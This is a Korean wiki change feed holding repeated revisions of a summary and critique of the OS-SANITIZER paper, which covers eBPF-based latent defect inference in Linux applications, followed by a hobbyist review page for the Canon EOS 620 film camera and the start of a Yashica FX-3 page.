** Code smell 또는 contextual defect는 true positive와 false positive의 경계가 명확하지 않다.
** 논문에서도 false positive rate를 엄밀하게 계산하기보다는 case study 중심으로 효과를 보인다.

* '''Pass 개발의 일반성이 충분히 검증되지는 않았다.'''
** 논문은 여러 pass를 구현했지만, 새로운 domain이나 새로운 defect class에 대해 pass를 얼마나 쉽게 만들 수 있는지는 더 많은 사례가 필요하다.

* '''Hot function monitoring에는 eBPF overhead가 크다.'''
** memcpy, strcpy와 같은 high-frequency function을 uprobe로 추적하면 overhead가 커진다.
** 따라서 OS-SANITIZER가 모든 bug class에 적합한 것은 아니다.

* '''Long-term deployment 평가가 제한적이다.'''
** 실제 desktop 환경에서 유용한 defect를 찾았다는 점은 강하지만, 다양한 production workload에서 report volume이나 triage cost가 어떻게 되는지는 더 평가가 필요하다.

== [[Conclusion]] ==
본 논문의 핵심 의의는 '''Dynamic Defect Inference'''라는 문제를 명확히 제시하고, eBPF를 runtime testing/inference framework로 사용할 수 있음을 보였다는 점이다. 기존 sanitizer나 fuzzer가 실제 fault/failure를 trigger하는 데 집중했다면, OS-SANITIZER는 정상적으로 실행되는 것처럼 보이는 runtime behavior에서도 잠재적 defect를 추론한다.

다만 heuristic에 의존하기 때문에 false positive, coverage, triage cost를 정밀하게 평가하기 어렵다는 한계가 있다. 또한 모든 defect class에 적합한 것은 아니며, 특히 hot user-space function을 추적하는 경우 eBPF overhead가 커질 수 있다. 그럼에도 불구하고, eBPF를 활용해 system-wide runtime context를 수집하고 실제 software에서 latent defect를 발견했다는 점에서 의미 있는 contribution을 가진 논문으로 볼 수 있다.

OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications

2026-04-27T11:48:19Z

Ahn9807:

[[분류:USENIX Security]]

{{Paper|title=OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications|author=Addison Crump addison.crump@cispa.de CISPA Sahil Sihag sahil.sihag@cispa.de CISPA Florian Bauckholt florian.bauckholt@cispa.de CISPA Keno Hassler keno.hassler@cispa.de CISPA Thorsten Holz thorsten.holz@mpi-sp.org MPI-SP|year=2026|conference=USENIX Security}}

== 개요 ==
[[eBPF]]를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작에서도 향후 보안 취약점이나 correctness 문제로 이어질 수 있는 패턴을 탐지하고자 한다.

== Motivation & Importance ==
기존의 static analyzer는 정적 분석 시점에 얻을 수 있는 정보를 바탕으로 버그를 찾는다. 이와 유사하게, 본 논문은 런타임에만 알 수 있는 정보들을 활용하여 defect를 추론하는 '''Dynamic Defect Inference'''가 가능하다고 주장한다.

특히 많은 결함은 코드 자체만으로는 명확히 드러나지 않고, 실제 실행 환경, 권한, 파일 시스템 상태, path traversal 과정, multi-threaded access, library usage pattern 등에 따라 문제가 된다. 따라서 런타임 context를 관찰할 수 있다면, 기존 static analysis나 sanitizer가 놓치는 잠재적 결함을 찾을 수 있다.

본 논문은 eBPF가 이러한 Dynamic Defect Inference를 수행하기에 적합한 기반임을 보이고자 한다. eBPF는 커널 내부 및 user-space function entry/exit에 hook을 삽입할 수 있고, BPF map을 통해 여러 이벤트 사이의 context를 축적할 수 있기 때문이다. 이를 통해 eBPF가 단순한 tracing이나 monitoring 도구를 넘어, runtime information을 기반으로 defect를 추론하는 testing/inference framework로 사용될 수 있음을 보인다.

== Challenge ==
* '''Benign execution에서 defect를 추론해야 한다.'''
** 실제 crash나 fault가 발생한 것이 아니므로, 관찰되는 동작이 진짜 defect인지 단순한 code smell인지 구분하기 어렵다.
** 따라서 heuristic 기반의 판단이 필요하며, false positive를 완전히 제거하기 어렵다.

* '''Runtime context를 정확히 수집해야 한다.'''
** 일부 defect는 단일 system call이나 library call만으로 판단할 수 없다.
** 예를 들어 TOCTOU나 path traversal 문제는 access, open, path resolution, permission check 등 여러 이벤트를 종합해야 한다.

* '''System-wide monitoring의 overhead를 낮춰야 한다.'''
** OS-SANITIZER는 특정 프로그램 하나만 분석하는 것이 아니라, 시스템 전체에서 발생하는 이벤트를 장기간 관찰하는 것을 목표로 한다.
** 따라서 tracing overhead와 report volume을 낮게 유지해야 한다.

* '''eBPF의 제한 안에서 inference logic을 구현해야 한다.'''
** eBPF verifier는 bounded execution과 제한된 memory access를 요구한다.
** 복잡한 analysis logic이나 hot user-space function monitoring은 높은 overhead 또는 verifier 제약으로 인해 실용적이지 않을 수 있다.

== Background ==
; 소프트웨어 테스팅의 단계
* Software testing은 다음 5단계로 나눌 수 있다: Errors, Code smells, Defects, Faults, and Failures.
* Error: Developer나 User에 의한 실수
* Code smell: 당장 failure를 만들지는 않지만, 향후 defect로 이어질 수 있는 위험한 패턴
* Defect: Program에 잘못된 영향을 끼칠 수 있는 에러
* Fault: Defect가 실제 program state에 잘못된 영향을 끼친 경우
* Failure: Fault가 외부에서 관찰 가능한 잘못된 동작이나 safety guarantee 위반으로 드러난 경우

; Dynamic Defect Inference에 대한 Related Work
: '''Program-Level Inference''': Compiler의 도움을 받아 dynamic testing을 수행하는 방식이다. 대표적으로 AddressSanitizer, MemorySanitizer 등이 있다. 이러한 방식은 강력하지만 recompilation이 필요하고, 종종 performance overhead가 커서 production 환경보다는 testing 환경에서 주로 사용된다는 한계가 있다.

: '''Interprocedural Inference''': Runtime에서 procedure 간 information flow를 추적하여 버그를 탐지하는 방식이다. Library call이나 network protocol의 사용 순서를 관찰하여 protocol violation을 찾는 방식으로 이해할 수 있다.

: '''OS-Integrated Inference''': SELinux와 같이 OS의 기능을 활용하여 이상 동작을 감지하거나 policy violation을 탐지하는 방식이다. 다만 이러한 방식은 일반적으로 security policy enforcement에 가깝고, 다양한 defect class를 추론하는 데에는 제한적일 수 있다.

: '''Runtime Predictive Analysis''': Runtime에서 얻을 수 있는 정보를 바탕으로 향후 발생할 수 있는 오류를 예측하거나 탐지하는 방식이다. 대표적으로 ThreadSanitizer와 같은 race detection 기법이 있다.

== Main Idea ==
eBPF를 통해 kernel 및 user-space program의 런타임 동작을 수집하고, BPF map에 context를 축적한 뒤, heuristic 기반의 검증기를 통해 해당 동작이 잠재적 defect인지 판단한다.

핵심 아이디어는 static analysis의 code smell 개념을 runtime으로 가져오는 것이다. 즉, 실제 failure가 발생하지 않았더라도, 런타임에서 관찰된 실행 패턴이 특정 조건에서는 취약점이나 correctness 문제로 이어질 수 있다면 이를 report한다.

== Design ==
[[index.php?title=파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|링크=파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|오른쪽|프레임없음]]

OS-SANITIZER는 eBPF program을 kernel function 또는 user-space function의 entry/exit point에 부착하여 runtime event를 수집한다. 각 eBPF program은 관찰한 정보를 BPF map에 저장하고, 이후 관련 operation이 끝났을 때 map에 축적된 context를 바탕으로 heuristic 검사를 수행한다.

각 eBPF pass는 대체로 다음 네 가지 역할을 가진다.

* Suspicious code region report
* Context enrichment
* Stale context cleanup
* Known false positive filtering

이를 통해 논문은 다음과 같은 pass들을 구현하였다.

'''1. Fault-Prone System Interactions'''

* access: access/stat 이후 open 사용으로 인한 TOCTOU 가능성 탐지
* fixed_mmap: overlapping fixed mmap 탐지
* rwx_mem: readable/writable/executable memory allocation 탐지

'''2. Fault-Prone Library Usage'''

* filep_unlocked: multi-thread 환경에서 unsynchronized FILE* access 탐지
* gets: unsafe gets usage 탐지
* snprintf: snprintf 관련 information leak 또는 footgun 탐지
* printf_mut: mutable string을 format string으로 사용하는 경우 탐지
* system_mut: mutable command string을 system()으로 실행하는 경우 탐지
* system_abs: absolute path 없이 system command를 실행하는 경우 탐지

'''3. Environmental Defects'''

* sec_file_open: unsafe file permission 또는 unsafe open pattern 탐지
* intercept_path: attacker가 path traversal을 가로챌 수 있는 상황 탐지

'''4. Unsafe Memory-Manipulating Function Usage'''

* memcpy
* strcpy
* strncpy
* sprintf

== Result ==
논문은 microbenchmark, SPEC CPU 2017, BrowserBench Speedometer, reproduction study, long-term desktop deployment를 통해 OS-SANITIZER를 평가하였다.

중요한 결과는 다음과 같다.

* System interaction 중심의 pass들은 대체로 낮은 overhead로 동작한다.
* 반면 memcpy, strcpy, strncpy, sprintf와 같은 hot user-space function을 uprobe로 추적하는 pass들은 overhead가 커서 practical deployment에는 부적합하다.
* 기존 CUU(check-use-use) TOCTOU detection model을 OS-SANITIZER pass로 재구현하여, eBPF 기반 framework가 기존 kernel modification 기반 testing logic을 더 쉽게 표현할 수 있음을 보였다.
* 장기 사용 실험에서 Golang, Docker, Kubernetes, runc, dotconf, Firefox, Chrome, Rust, GDB, NetworkManager 등 실제 software stack에서 여러 latent defect를 발견하였다.

== Contribution ==
* '''Dynamic Defect Inference라는 문제 설정을 제시하였다.'''
** 기존 dynamic testing이 실제 fault나 failure를 찾는 데 집중했다면, 본 논문은 benign execution에서 defect 가능성을 추론하는 방향을 제시하였다.

* '''eBPF를 testing/inference tool로 활용하였다.'''
** eBPF를 단순 tracing이나 security monitoring이 아니라, runtime context를 축적하고 defect-level report를 생성하는 framework로 사용하였다.

* '''System-wide runtime context를 활용하였다.'''
** user-space function, kernel function, LSM hook 등을 조합하여 단일 프로그램 내부에서는 알기 어려운 실행 환경 정보를 활용하였다.

* '''실제 software에서 latent defect를 발견하였다.'''
** 여러 mature software stack에서 실제 issue를 찾았다는 점이 논문의 실용성을 뒷받침한다.

== Criticize ==
* '''Heuristic 의존성이 크다.'''
** OS-SANITIZER는 실제 failure를 직접 관찰하는 것이 아니라 위험한 pattern을 추론한다.
** 따라서 false positive를 완전히 피하기 어렵고, 어떤 report가 진짜 defect인지 triage cost가 발생한다.

* '''False positive와 coverage를 정량화하기 어렵다.'''
** Code smell 또는 contextual defect는 true positive와 false positive의 경계가 명확하지 않다.
** 논문에서도 false positive rate를 엄밀하게 계산하기보다는 case study 중심으로 효과를 보인다.

* '''Pass 개발의 일반성이 충분히 검증되지는 않았다.'''
** 논문은 여러 pass를 구현했지만, 새로운 domain이나 새로운 defect class에 대해 pass를 얼마나 쉽게 만들 수 있는지는 더 많은 사례가 필요하다.

* '''Hot function monitoring에는 eBPF overhead가 크다.'''
** memcpy, strcpy와 같은 high-frequency function을 uprobe로 추적하면 overhead가 커진다.
** 따라서 OS-SANITIZER가 모든 bug class에 적합한 것은 아니다.

* '''Long-term deployment 평가가 제한적이다.'''
** 실제 desktop 환경에서 유용한 defect를 찾았다는 점은 강하지만, 다양한 production workload에서 report volume이나 triage cost가 어떻게 되는지는 더 평가가 필요하다.

== [[Conclusion]] ==
본 논문의 핵심 의의는 '''Dynamic Defect Inference'''라는 문제를 명확히 제시하고, eBPF를 runtime testing/inference framework로 사용할 수 있음을 보였다는 점이다. 기존 sanitizer나 fuzzer가 실제 fault/failure를 trigger하는 데 집중했다면, OS-SANITIZER는 정상적으로 실행되는 것처럼 보이는 runtime behavior에서도 잠재적 defect를 추론한다.

다만 heuristic에 의존하기 때문에 false positive, coverage, triage cost를 정밀하게 평가하기 어렵다는 한계가 있다. 또한 모든 defect class에 적합한 것은 아니며, 특히 hot user-space function을 추적하는 경우 eBPF overhead가 커질 수 있다. 그럼에도 불구하고, eBPF를 활용해 system-wide runtime context를 수집하고 실제 software에서 latent defect를 발견했다는 점에서 의미 있는 contribution을 가진 논문으로 볼 수 있다.

OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications

2026-04-27T11:47:09Z

Ahn9807: 새 문서: 분류: USENIX Security == 개요 == eBPF를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작...

[[분류: USENIX Security]]

== 개요 ==
[[eBPF]]를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작에서도 향후 보안 취약점이나 correctness 문제로 이어질 수 있는 패턴을 탐지하고자 한다.

== Motivation & Importance ==
기존의 static analyzer는 정적 분석 시점에 얻을 수 있는 정보를 바탕으로 버그를 찾는다. 이와 유사하게, 본 논문은 런타임에만 알 수 있는 정보들을 활용하여 defect를 추론하는 '''Dynamic Defect Inference'''가 가능하다고 주장한다.

특히 많은 결함은 코드 자체만으로는 명확히 드러나지 않고, 실제 실행 환경, 권한, 파일 시스템 상태, path traversal 과정, multi-threaded access, library usage pattern 등에 따라 문제가 된다. 따라서 런타임 context를 관찰할 수 있다면, 기존 static analysis나 sanitizer가 놓치는 잠재적 결함을 찾을 수 있다.

본 논문은 eBPF가 이러한 Dynamic Defect Inference를 수행하기에 적합한 기반임을 보이고자 한다. eBPF는 커널 내부 및 user-space function entry/exit에 hook을 삽입할 수 있고, BPF map을 통해 여러 이벤트 사이의 context를 축적할 수 있기 때문이다. 이를 통해 eBPF가 단순한 tracing이나 monitoring 도구를 넘어, runtime information을 기반으로 defect를 추론하는 testing/inference framework로 사용될 수 있음을 보인다.

== Challenge ==
* '''Benign execution에서 defect를 추론해야 한다.'''
** 실제 crash나 fault가 발생한 것이 아니므로, 관찰되는 동작이 진짜 defect인지 단순한 code smell인지 구분하기 어렵다.
** 따라서 heuristic 기반의 판단이 필요하며, false positive를 완전히 제거하기 어렵다.

* '''Runtime context를 정확히 수집해야 한다.'''
** 일부 defect는 단일 system call이나 library call만으로 판단할 수 없다.
** 예를 들어 TOCTOU나 path traversal 문제는 access, open, path resolution, permission check 등 여러 이벤트를 종합해야 한다.

* '''System-wide monitoring의 overhead를 낮춰야 한다.'''
** OS-SANITIZER는 특정 프로그램 하나만 분석하는 것이 아니라, 시스템 전체에서 발생하는 이벤트를 장기간 관찰하는 것을 목표로 한다.
** 따라서 tracing overhead와 report volume을 낮게 유지해야 한다.

* '''eBPF의 제한 안에서 inference logic을 구현해야 한다.'''
** eBPF verifier는 bounded execution과 제한된 memory access를 요구한다.
** 복잡한 analysis logic이나 hot user-space function monitoring은 높은 overhead 또는 verifier 제약으로 인해 실용적이지 않을 수 있다.

== Background ==
; 소프트웨어 테스팅의 단계
* Software testing은 다음 5단계로 나눌 수 있다: Errors, Code smells, Defects, Faults, and Failures.
* Error: Developer나 User에 의한 실수
* Code smell: 당장 failure를 만들지는 않지만, 향후 defect로 이어질 수 있는 위험한 패턴
* Defect: Program에 잘못된 영향을 끼칠 수 있는 에러
* Fault: Defect가 실제 program state에 잘못된 영향을 끼친 경우
* Failure: Fault가 외부에서 관찰 가능한 잘못된 동작이나 safety guarantee 위반으로 드러난 경우

; Dynamic Defect Inference에 대한 Related Work
: '''Program-Level Inference''': Compiler의 도움을 받아 dynamic testing을 수행하는 방식이다. 대표적으로 AddressSanitizer, MemorySanitizer 등이 있다. 이러한 방식은 강력하지만 recompilation이 필요하고, 종종 performance overhead가 커서 production 환경보다는 testing 환경에서 주로 사용된다는 한계가 있다.

: '''Interprocedural Inference''': Runtime에서 procedure 간 information flow를 추적하여 버그를 탐지하는 방식이다. Library call이나 network protocol의 사용 순서를 관찰하여 protocol violation을 찾는 방식으로 이해할 수 있다.

: '''OS-Integrated Inference''': SELinux와 같이 OS의 기능을 활용하여 이상 동작을 감지하거나 policy violation을 탐지하는 방식이다. 다만 이러한 방식은 일반적으로 security policy enforcement에 가깝고, 다양한 defect class를 추론하는 데에는 제한적일 수 있다.

: '''Runtime Predictive Analysis''': Runtime에서 얻을 수 있는 정보를 바탕으로 향후 발생할 수 있는 오류를 예측하거나 탐지하는 방식이다. 대표적으로 ThreadSanitizer와 같은 race detection 기법이 있다.

== Main Idea ==
eBPF를 통해 kernel 및 user-space program의 런타임 동작을 수집하고, BPF map에 context를 축적한 뒤, heuristic 기반의 검증기를 통해 해당 동작이 잠재적 defect인지 판단한다.

핵심 아이디어는 static analysis의 code smell 개념을 runtime으로 가져오는 것이다. 즉, 실제 failure가 발생하지 않았더라도, 런타임에서 관찰된 실행 패턴이 특정 조건에서는 취약점이나 correctness 문제로 이어질 수 있다면 이를 report한다.

== Design ==
[[파일:USENIX Security 2026 OS-SANITIZER Figure 2.png|프레임없음]]

OS-SANITIZER는 eBPF program을 kernel function 또는 user-space function의 entry/exit point에 부착하여 runtime event를 수집한다. 각 eBPF program은 관찰한 정보를 BPF map에 저장하고, 이후 관련 operation이 끝났을 때 map에 축적된 context를 바탕으로 heuristic 검사를 수행한다.

각 eBPF pass는 대체로 다음 네 가지 역할을 가진다.

* Suspicious code region report
* Context enrichment
* Stale context cleanup
* Known false positive filtering

이를 통해 논문은 다음과 같은 pass들을 구현하였다.

'''1. Fault-Prone System Interactions'''

* access: access/stat 이후 open 사용으로 인한 TOCTOU 가능성 탐지
* fixed_mmap: overlapping fixed mmap 탐지
* rwx_mem: readable/writable/executable memory allocation 탐지

'''2. Fault-Prone Library Usage'''

* filep_unlocked: multi-thread 환경에서 unsynchronized FILE* access 탐지
* gets: unsafe gets usage 탐지
* snprintf: snprintf 관련 information leak 또는 footgun 탐지
* printf_mut: mutable string을 format string으로 사용하는 경우 탐지
* system_mut: mutable command string을 system()으로 실행하는 경우 탐지
* system_abs: absolute path 없이 system command를 실행하는 경우 탐지

'''3. Environmental Defects'''

* sec_file_open: unsafe file permission 또는 unsafe open pattern 탐지
* intercept_path: attacker가 path traversal을 가로챌 수 있는 상황 탐지

'''4. Unsafe Memory-Manipulating Function Usage'''

* memcpy
* strcpy
* strncpy
* sprintf

== Result ==
논문은 microbenchmark, SPEC CPU 2017, BrowserBench Speedometer, reproduction study, long-term desktop deployment를 통해 OS-SANITIZER를 평가하였다.

중요한 결과는 다음과 같다.

* System interaction 중심의 pass들은 대체로 낮은 overhead로 동작한다.
* 반면 memcpy, strcpy, strncpy, sprintf와 같은 hot user-space function을 uprobe로 추적하는 pass들은 overhead가 커서 practical deployment에는 부적합하다.
* 기존 CUU(check-use-use) TOCTOU detection model을 OS-SANITIZER pass로 재구현하여, eBPF 기반 framework가 기존 kernel modification 기반 testing logic을 더 쉽게 표현할 수 있음을 보였다.
* 장기 사용 실험에서 Golang, Docker, Kubernetes, runc, dotconf, Firefox, Chrome, Rust, GDB, NetworkManager 등 실제 software stack에서 여러 latent defect를 발견하였다.

== Contribution ==
* '''Dynamic Defect Inference라는 문제 설정을 제시하였다.'''
** 기존 dynamic testing이 실제 fault나 failure를 찾는 데 집중했다면, 본 논문은 benign execution에서 defect 가능성을 추론하는 방향을 제시하였다.

* '''eBPF를 testing/inference tool로 활용하였다.'''
** eBPF를 단순 tracing이나 security monitoring이 아니라, runtime context를 축적하고 defect-level report를 생성하는 framework로 사용하였다.

* '''System-wide runtime context를 활용하였다.'''
** user-space function, kernel function, LSM hook 등을 조합하여 단일 프로그램 내부에서는 알기 어려운 실행 환경 정보를 활용하였다.

* '''실제 software에서 latent defect를 발견하였다.'''
** 여러 mature software stack에서 실제 issue를 찾았다는 점이 논문의 실용성을 뒷받침한다.

== Criticize ==
* '''Heuristic 의존성이 크다.'''
** OS-SANITIZER는 실제 failure를 직접 관찰하는 것이 아니라 위험한 pattern을 추론한다.
** 따라서 false positive를 완전히 피하기 어렵고, 어떤 report가 진짜 defect인지 triage cost가 발생한다.

* '''False positive와 coverage를 정량화하기 어렵다.'''
** Code smell 또는 contextual defect는 true positive와 false positive의 경계가 명확하지 않다.
** 논문에서도 false positive rate를 엄밀하게 계산하기보다는 case study 중심으로 효과를 보인다.

* '''Pass 개발의 일반성이 충분히 검증되지는 않았다.'''
** 논문은 여러 pass를 구현했지만, 새로운 domain이나 새로운 defect class에 대해 pass를 얼마나 쉽게 만들 수 있는지는 더 많은 사례가 필요하다.

* '''Hot function monitoring에는 eBPF overhead가 크다.'''
** memcpy, strcpy와 같은 high-frequency function을 uprobe로 추적하면 overhead가 커진다.
** 따라서 OS-SANITIZER가 모든 bug class에 적합한 것은 아니다.

* '''Long-term deployment 평가가 제한적이다.'''
** 실제 desktop 환경에서 유용한 defect를 찾았다는 점은 강하지만, 다양한 production workload에서 report volume이나 triage cost가 어떻게 되는지는 더 평가가 필요하다.

== [[Conclusion]] ==
본 논문의 핵심 의의는 '''Dynamic Defect Inference'''라는 문제를 명확히 제시하고, eBPF를 runtime testing/inference framework로 사용할 수 있음을 보였다는 점이다. 기존 sanitizer나 fuzzer가 실제 fault/failure를 trigger하는 데 집중했다면, OS-SANITIZER는 정상적으로 실행되는 것처럼 보이는 runtime behavior에서도 잠재적 defect를 추론한다.

다만 heuristic에 의존하기 때문에 false positive, coverage, triage cost를 정밀하게 평가하기 어렵다는 한계가 있다. 또한 모든 defect class에 적합한 것은 아니며, 특히 hot user-space function을 추적하는 경우 eBPF overhead가 커질 수 있다. 그럼에도 불구하고, eBPF를 활용해 system-wide runtime context를 수집하고 실제 software에서 latent defect를 발견했다는 점에서 의미 있는 contribution을 가진 논문으로 볼 수 있다.

파일:USENIX Security 2026 OS-SANITIZER Figure 2.png

2026-04-27T11:36:57Z

Ahn9807:

USENIX Security 2026 OS-SANITIZER Figure 2

캐논 EOS 620

2026-04-27T06:09:35Z

Ahn9807:

[[분류:필름 카메라]]

{{camera
| name = Canon EOS 620
| image = Canon_EOS_620.jpg
| manufacturer = Canon
| released = 1987
| lens_mount = Canon EF mount
| sensor = N/A (Film Camera)
| film_format = 35mm
| shutter = Focal-plane shutter, electronic
| metering = 6-zone evaluative metering / partial metering
| focus = TTL phase-detection autofocus
| exposure = Program AE, Aperture-priority AE, Shutter-priority AE, Manual, Depth-of-field AE
| viewfinder = Optical, fixed eye-level pentaprism
| battery = 2CR5
| dimensions = 148 × 108 × 68 mm
| weight = 660g
| gallery = Canon EOS 620
}}

== 개요 ==
캐논 EOS 620은 1987년 5월에 출시된 35mm single lens reflex 필름 카메라이다. 캐논의 EOS 시스템 초기에 등장한 모델로, 1987년 3월에 출시된 [[Canon EOS 650]]의 상위 기종에 해당한다. EOS 650이 캐논 최초의 EOS 카메라였다면, EOS 620은 여기에 여러 고급 기능을 추가한 모델이다.

EOS 620은 Canon EF 마운트를 사용한다. EF 마운트는 카메라와 렌즈가 전기 신호로 통신하는 구조이며, 초점 구동과 조리개 제어가 렌즈 내부의 모터를 통해 이루어진다. 따라서 기존 Canon FD 마운트 렌즈는 EOS 바디와 호환되지 않는다.

EOS 620은 EOS 650보다 더 고급 기능을 제공하였다. 대표적으로 LCD 백라이트, 다중 노출, 자동 브라케팅 기능을 지원하며, 셔터 속도는 최대 1/4000초까지 지원한다. 또한 플래시 동조 속도도 1/250초로 향상되었다. 이러한 점에서 EOS 620은 초기 EOS 필름 바디 중에서도 비교적 고성능 모델로 평가할 수 있다.

== 사용 후기 ==
캐논 EOS 620은 초기 EOS 필름 카메라 중에서도 실사용 가치가 높은 모델이다. 특히 EF 마운트를 사용하기 때문에 현대 Canon EF 렌즈들을 사용할 수 있다는 점이 큰 장점이다. 수동 필름 카메라와 달리 자동초점과 자동노출을 지원하기 때문에, 필름 카메라 입문자도 비교적 편하게 사용할 수 있다.

또한 최대 1/4000초 셔터 속도와 1/250초 플래시 동조 속도는 동시대 보급형 필름 SLR보다 확실히 좋은 사양이다. LCD 상태가 좋은 개체라면 실사용 만족도가 높으며, Canon EF 렌즈를 이미 가지고 있는 사용자에게는 매우 가성비 좋은 필름 바디가 될 수 있다.

다만 1980년대 전자식 필름 카메라이기 때문에, 완전 기계식 카메라처럼 장기적인 수리 안정성을 기대하기는 어렵다. LCD 누액, 전자 부품 고장, 배터리 접점 문제 등을 확인하는 것이 중요하다. 그럼에도 정상 작동하는 개체라면 저렴한 가격으로 EOS 시스템의 필름 감성을 즐길 수 있는 좋은 카메라이다.

== 주요 특징 ==
* Canon EF 마운트 사용
* TTL phase-detection autofocus 지원
* 최대 셔터 속도 1/4000초
* 플래시 동조 속도 1/250초
* LCD 백라이트 지원
* 다중 노출 지원
* 자동 브라케팅 지원
* Program AE, 조리개 우선, 셔터 우선, 수동 노출 지원
* 35mm 필름 사용

== 갤러리 ==
<gallery caption="캐논 EOS 620으로 찍은 사진들" mode=slideshow>
사진 26 04 26 EOS 620 켄트미아 100.png
사진 26 04 26 2 캐논 EOS 620 컨트미어 100.png
</gallery>

== 관련 모델 ==
# [[Canon EOS 650]]
# [[Canon EF 35-70mm f3.5-4.5]]

파일:사진 26 04 26 2 캐논 EOS 620 컨트미어 100.png

2026-04-27T06:08:04Z

Ahn9807:

사진 26_04_26_2 캐논 EOS 620 컨트미어 100

파일:사진 26 04 26 EOS 620 켄트미아 100.png

2026-04-27T05:54:00Z

Ahn9807:

사진 26_04_26 EOS 620 켄트미아 100

캐논 EOS 620

2026-04-27T03:33:05Z

Ahn9807: 새 문서: 분류:필름 카메라 {{camera | name = Canon EOS 620 | image = Canon_EOS_620.jpg | manufacturer = Canon | released = 1987 | lens_mount = Canon EF mount | sensor = N/A (Film Camera) | film_format = 35mm | shutter = Focal-plane shutter, electronic | metering = 6-zone evaluative metering / partial metering | focus = TTL phase-detection autofocus | exposure = Program AE, Aperture-priority AE, Shutter-priority AE, Manual, Depth-of-field AE | viewfinder = Optical, fixed eye-le...

[[분류:필름 카메라]]

{{camera
| name = Canon EOS 620
| image = Canon_EOS_620.jpg
| manufacturer = Canon
| released = 1987
| lens_mount = Canon EF mount
| sensor = N/A (Film Camera)
| film_format = 35mm
| shutter = Focal-plane shutter, electronic
| metering = 6-zone evaluative metering / partial metering
| focus = TTL phase-detection autofocus
| exposure = Program AE, Aperture-priority AE, Shutter-priority AE, Manual, Depth-of-field AE
| viewfinder = Optical, fixed eye-level pentaprism
| battery = 2CR5
| dimensions = 148 × 108 × 68 mm
| weight = 660g
| gallery = Canon EOS 620
}}

== 개요 ==
캐논 EOS 620은 1987년 5월에 출시된 35mm single lens reflex 필름 카메라이다. 캐논의 EOS 시스템 초기에 등장한 모델로, 1987년 3월에 출시된 [[Canon EOS 650]]의 상위 기종에 해당한다. EOS 650이 캐논 최초의 EOS 카메라였다면, EOS 620은 여기에 여러 고급 기능을 추가한 모델이다.

EOS 620은 Canon EF 마운트를 사용한다. EF 마운트는 카메라와 렌즈가 전기 신호로 통신하는 구조이며, 초점 구동과 조리개 제어가 렌즈 내부의 모터를 통해 이루어진다. 따라서 기존 Canon FD 마운트 렌즈는 EOS 바디와 호환되지 않는다.

EOS 620은 EOS 650보다 더 고급 기능을 제공하였다. 대표적으로 LCD 백라이트, 다중 노출, 자동 브라케팅 기능을 지원하며, 셔터 속도는 최대 1/4000초까지 지원한다. 또한 플래시 동조 속도도 1/250초로 향상되었다. 이러한 점에서 EOS 620은 초기 EOS 필름 바디 중에서도 비교적 고성능 모델로 평가할 수 있다.

== 사용 후기 ==
캐논 EOS 620은 초기 EOS 필름 카메라 중에서도 실사용 가치가 높은 모델이다. 특히 EF 마운트를 사용하기 때문에 현대 Canon EF 렌즈들을 사용할 수 있다는 점이 큰 장점이다. 수동 필름 카메라와 달리 자동초점과 자동노출을 지원하기 때문에, 필름 카메라 입문자도 비교적 편하게 사용할 수 있다.

또한 최대 1/4000초 셔터 속도와 1/250초 플래시 동조 속도는 동시대 보급형 필름 SLR보다 확실히 좋은 사양이다. LCD 상태가 좋은 개체라면 실사용 만족도가 높으며, Canon EF 렌즈를 이미 가지고 있는 사용자에게는 매우 가성비 좋은 필름 바디가 될 수 있다.

다만 1980년대 전자식 필름 카메라이기 때문에, 완전 기계식 카메라처럼 장기적인 수리 안정성을 기대하기는 어렵다. LCD 누액, 전자 부품 고장, 배터리 접점 문제 등을 확인하는 것이 중요하다. 그럼에도 정상 작동하는 개체라면 저렴한 가격으로 EOS 시스템의 필름 감성을 즐길 수 있는 좋은 카메라이다.

== 주요 특징 ==
* Canon EF 마운트 사용
* TTL phase-detection autofocus 지원
* 최대 셔터 속도 1/4000초
* 플래시 동조 속도 1/250초
* LCD 백라이트 지원
* 다중 노출 지원
* 자동 브라케팅 지원
* Program AE, 조리개 우선, 셔터 우선, 수동 노출 지원
* 35mm 필름 사용

== 갤러리 ==
<gallery caption="캐논 EOS 620으로 찍은 사진들" mode=slideshow>

</gallery>

== 관련 모델 ==
# [[Canon EOS 650]]
# [[Canon EF 35-70mm f3.5-4.5]]

야시카 FX-3

2026-04-27T03:32:47Z

Ahn9807: Ahn9807 (토론)의 7102 판 편집을 되돌림

[[분류: 필름 카메라]]

{{camera
| name = Yashica FX-3
| image = Yashica_FX-3.jpg
| manufacturer = Yashica
| released = 1979
| lens_mount = Contax/Yashica (C/Y) mount
| sensor = N/A (Film Camera)
| film_format = 35mm
| shutter = Focal-plane shutter, mechanical
| metering = None (external meter recommended)
| focus = Manual focus
| exposure = Manual exposure
| viewfinder = Optical, pentaprism
| battery = 2x LR44 or SR44 (for light meter)
| dimensions = 135 × 85 × 50 mm
| weight = 460g (body only)
| gallery = Yashica FX-3
}}

== 개요 ==
